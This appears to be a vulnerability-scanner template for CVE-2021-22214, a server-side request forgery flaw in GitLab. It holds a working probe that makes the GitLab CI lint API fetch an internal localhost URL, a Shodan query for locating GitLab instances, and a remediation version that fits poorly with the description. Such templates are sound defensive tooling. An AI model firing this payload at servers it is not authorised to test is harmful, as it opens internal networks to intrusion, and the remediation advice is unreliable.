54 lines
1.9 KiB
YAML
54 lines
1.9 KiB
YAML
id: CVE-2021-22214
|
|
|
|
info:
|
|
name: Gitlab CE/EE 10.5 - Server-Side Request Forgery
|
|
author: Suman_Kar,GitLab Red Team
|
|
severity: high
|
|
description: |
|
|
GitLab CE/EE versions starting from 10.5 are susceptible to a server-side request forgery vulnerability when requests to the internal network for webhooks are enabled, even on a GitLab instance where registration is limited. The same vulnerability actually spans multiple CVEs, due to similar reports that were fixed across separate patches. These CVEs are:
|
|
- CVE-2021-39935
|
|
- CVE-2021-22214
|
|
- CVE-2021-22175
|
|
remediation: |
|
|
Upgrade Gitlab CE/EE to a version that is not affected by the vulnerability (10.6 or higher).
|
|
reference:
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-22214
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-39935
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-22175
|
|
- https://vin01.github.io/piptagole/gitlab/ssrf/security/2021/06/15/gitlab-ssrf.html
|
|
- https://docs.gitlab.com/ee/api/lint.html
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
|
|
cvss-score: 8.6
|
|
cve-id: CVE-2021-22214
|
|
cwe-id: CWE-918
|
|
epss-score: 0.16007
|
|
epss-percentile: 0.95359
|
|
cpe: cpe:2.3:a:gitlab:gitlab:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: gitlab
|
|
product: gitlab
|
|
shodan-query: http.title:"GitLab"
|
|
tags: cve,cve2021,gitlab,ssrf
|
|
|
|
http:
|
|
- method: POST
|
|
path:
|
|
- "{{BaseURL}}/api/v4/ci/lint?include_merged_yaml=true"
|
|
|
|
body: |
|
|
{"content": "include:\n remote: http://127.0.0.1:9100/test.yml"}
|
|
|
|
headers:
|
|
Content-Type: application/json
|
|
host-redirects: true
|
|
max-redirects: 3
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "does not have valid YAML syntax"
|
|
|
|
# digest: 4b0a00483046022100839e60fdfc2354d7e66b57cf1eb8b160f712147072383aa906da0080b5eea200022100e17e2482df722a2fb4cc385ce17672f04057fd92efd21574205ceb81d787204d:922c64590222798bb761d5b6d8e72950
|